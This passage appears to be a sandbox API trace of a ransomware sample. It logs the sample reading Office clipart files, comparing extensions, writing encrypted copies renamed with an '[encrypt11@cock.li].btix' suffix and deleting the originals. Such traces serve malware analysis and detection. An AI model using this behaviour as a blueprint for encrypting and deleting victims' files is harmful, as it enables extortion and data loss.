liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0132.277] GetLastError () returned 0x0 [0132.277] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0132.355] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1100, lpOverlapped=0x0) returned 1 [0132.356] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.356] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.356] SetEndOfFile (hFile=0x4a8) returned 1 [0132.356] CloseHandle (hObject=0x4a8) returned 1 [0132.356] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.356] SetEndOfFile (hFile=0x430) returned 1 [0132.362] CloseHandle (hObject=0x430) returned 1 [0132.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0132.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.648] lstrlenW (lpString=".doc") returned 4 [0132.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.648] lstrlenW (lpString=".docx") returned 5 [0132.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.648] lstrlenW (lpString=".pdf") returned 4 [0132.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.648] lstrlenW (lpString=".xls") returned 4 [0132.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.648] lstrlenW (lpString=".xlsx") returned 5 [0132.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.648] lstrlenW (lpString=".ppt") returned 4 [0132.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.648] lstrlenW (lpString=".zip") returned 4 [0132.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.648] lstrlenW (lpString=".rar") returned 4 [0132.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.648] lstrlenW (lpString=".bz2") returned 4 [0132.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.648] lstrlenW (lpString=".7z") returned 3 [0132.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.648] lstrlenW (lpString=".dbf") returned 4 [0132.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.648] lstrlenW (lpString=".1cd") returned 4 [0132.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.649] lstrlenW (lpString=".jpg") returned 4 [0132.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.649] lstrlenW (lpString=".doc") returned 4 [0132.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.649] lstrlenW (lpString=".docx") returned 5 [0132.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.649] lstrlenW (lpString=".pdf") returned 4 [0132.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.649] lstrlenW (lpString=".xls") returned 4 [0132.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.703] lstrlenW (lpString=".xlsx") returned 5 [0132.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.703] lstrlenW (lpString=".ppt") returned 4 [0132.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.703] lstrlenW (lpString=".zip") returned 4 [0132.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.703] lstrlenW (lpString=".rar") returned 4 [0132.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.703] lstrlenW (lpString=".bz2") returned 4 [0132.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.703] lstrlenW (lpString=".7z") returned 3 [0132.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.704] lstrlenW (lpString=".dbf") returned 4 [0132.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.704] lstrlenW (lpString=".1cd") returned 4 [0132.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0132.704] lstrlenW (lpString=".jpg") returned 4 [0132.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.704] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.704] lstrlenW (lpString="HH01461_.WMF") returned 12 [0132.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0132.704] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5958) returned 1 [0132.705] CloseHandle (hObject=0x50c) returned 1 [0132.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0132.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0132.705] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.705] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0132.706] GetLastError () returned 0x0 [0132.706] ReadFile (in: hFile=0x50c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1746, lpOverlapped=0x0) returned 1 [0132.930] WriteFile (in: hFile=0x510, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1750, lpOverlapped=0x0) returned 1 [0132.931] ReadFile (in: hFile=0x50c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.931] WriteFile (in: hFile=0x510, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.931] SetEndOfFile (hFile=0x510) returned 1 [0132.931] CloseHandle (hObject=0x510) returned 1 [0132.931] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.931] SetEndOfFile (hFile=0x50c) returned 1 [0132.936] CloseHandle (hObject=0x50c) returned 1 [0132.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0133.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.533] lstrlenW (lpString=".doc") returned 4 [0133.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.533] lstrlenW (lpString=".docx") returned 5 [0133.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.533] lstrlenW (lpString=".pdf") returned 4 [0133.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.533] lstrlenW (lpString=".xls") returned 4 [0133.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.533] lstrlenW (lpString=".xlsx") returned 5 [0133.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.533] lstrlenW (lpString=".ppt") returned 4 [0133.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString=".zip") returned 4 [0133.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.534] lstrlenW (lpString=".rar") returned 4 [0133.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString=".bz2") returned 4 [0133.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString=".7z") returned 3 [0133.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString=".dbf") returned 4 [0133.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString=".1cd") returned 4 [0133.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString=".jpg") returned 4 [0133.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString=".doc") returned 4 [0133.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString=".docx") returned 5 [0133.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.534] lstrlenW (lpString=".pdf") returned 4 [0133.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString=".xls") returned 4 [0133.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.534] lstrlenW (lpString=".xlsx") returned 5 [0133.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.534] lstrlenW (lpString=".ppt") returned 4 [0133.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.534] lstrlenW (lpString=".zip") returned 4 [0133.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.534] lstrlenW (lpString=".rar") returned 4 [0133.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.535] lstrlenW (lpString=".bz2") returned 4 [0133.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.535] lstrlenW (lpString=".7z") returned 3 [0133.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.535] lstrlenW (lpString=".dbf") returned 4 [0133.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.535] lstrlenW (lpString=".1cd") returned 4 [0133.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0133.535] lstrlenW (lpString=".jpg") returned 4 [0133.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.535] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.535] lstrlenW (lpString="HM00005_.WMF") returned 12 [0133.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0133.879] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=23300) returned 1 [0133.879] CloseHandle (hObject=0x540) returned 1 [0133.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0133.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0133.880] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.880] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0133.881] GetLastError () returned 0x0 [0133.881] ReadFile (in: hFile=0x540, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0133.901] WriteFile (in: hFile=0x544, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0133.903] ReadFile (in: hFile=0x540, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.903] WriteFile (in: hFile=0x544, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.903] SetEndOfFile (hFile=0x544) returned 1 [0133.903] CloseHandle (hObject=0x544) returned 1 [0133.903] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.903] SetEndOfFile (hFile=0x540) returned 1 [0133.906] CloseHandle (hObject=0x540) returned 1 [0133.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0133.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.906] lstrlenW (lpString=".doc") returned 4 [0133.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString=".docx") returned 5 [0133.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.907] lstrlenW (lpString=".pdf") returned 4 [0133.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString=".xls") returned 4 [0133.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.907] lstrlenW (lpString=".xlsx") returned 5 [0133.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.907] lstrlenW (lpString=".ppt") returned 4 [0133.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.907] lstrlenW (lpString=".zip") returned 4 [0133.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.907] lstrlenW (lpString=".rar") returned 4 [0133.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString=".bz2") returned 4 [0133.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString=".7z") returned 3 [0133.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.907] lstrlenW (lpString=".dbf") returned 4 [0133.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.907] lstrlenW (lpString=".1cd") returned 4 [0133.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.907] lstrlenW (lpString=".jpg") returned 4 [0133.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.907] lstrlenW (lpString=".doc") returned 4 [0133.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString=".docx") returned 5 [0133.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.908] lstrlenW (lpString=".pdf") returned 4 [0133.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString=".xls") returned 4 [0133.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.908] lstrlenW (lpString=".xlsx") returned 5 [0133.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.908] lstrlenW (lpString=".ppt") returned 4 [0133.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.908] lstrlenW (lpString=".zip") returned 4 [0133.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.908] lstrlenW (lpString=".rar") returned 4 [0133.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString=".bz2") returned 4 [0133.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString=".7z") returned 3 [0133.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.908] lstrlenW (lpString=".dbf") returned 4 [0133.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.908] lstrlenW (lpString=".1cd") returned 4 [0133.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0133.908] lstrlenW (lpString=".jpg") returned 4 [0133.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.970] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.970] lstrlenW (lpString="HM00172_.WMF") returned 12 [0133.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0133.971] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2832) returned 1 [0133.971] CloseHandle (hObject=0x54c) returned 1 [0133.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0133.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0133.972] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.972] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 